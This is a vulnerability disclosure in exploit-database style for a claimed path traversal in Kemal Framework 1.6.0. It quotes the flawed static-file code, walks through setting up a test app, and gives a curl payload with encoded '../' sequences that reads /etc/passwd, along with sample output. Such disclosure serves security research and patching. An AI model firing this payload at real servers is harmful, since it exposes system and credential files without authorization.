Exploit Title: Kemal Framework 1.6.0 - Path Traversal Discovered by: Ahmet Ümit BAYRAM Discovered Date: 04.04.2025 Vendor Homepage: https://github.com/kemalcr Software Link: https://github.com/kemalcr/kemal/archive/refs/tags/v1.6.0.zip Tested Version: v1.6.0 (latest) Tested on: Kali Linux CVE: (Waiting for response) 🧩 Summary A *Path Traversal vulnerability* exists in the Kemal::StaticFileHandler class of *Kemal Framework v1.6.0*. When serving static files from a user-defined public directory, the framework fails to sanitize malicious ../ sequences in user-supplied URIs. This allows unauthenticated attackers to access arbitrary files on the server. πŸ› οΈ Affected Version - Kemal Framework v1.6.0 πŸ“Œ Vulnerable Code In src/kemal/static_file_handler.cr: request_path = URI.decode(original_path) file_path = File.join(@public_dir, request_path) if File.exists?(file_path) send_file(context, file_path)end No checks are performed to sanitize or reject traversal sequences (../), making it possible to access files outside the @public_dir. πŸ”₯ Proof-of-Concept (PoC) βœ… 1. Create a New Kemal Project mkdir kemal-testcd kemal-test crystal init app . This command creates a sample Crystal application that includes a shard.yml file. ------------------------------ βœ… 2. Edit shard.yml File Edit the shard.yml file as follows: name: kemal-testversion: 0.1.0 dependencies: kemal: github: kemalcr/kemal ------------------------------ βœ… 3. Install the Required Packages shards install This command downloads and installs Kemal into the lib/ directory. ------------------------------ βœ… 4. Edit src/kemal-test.cr File Write the following content: require "kemal" get "/" do "Hello from Kemal!"end Kemal.config.public_folder = "./public"Kemal.run ------------------------------ βœ… 5. Create public/ directory mkdir public ------------------------------ βœ… 6. Start the Application crystal run src/kemal-test.cr Go to the following address in your browser: http://localhost:3000 If you see "Hello from Kemal!", everything is working perfectly πŸš€ ------------------------------ βœ… 7. Test the Vulnerability curl "http://localhost:3000/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd" If successful, the contents of /etc/passwd will be returned as shown below: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ...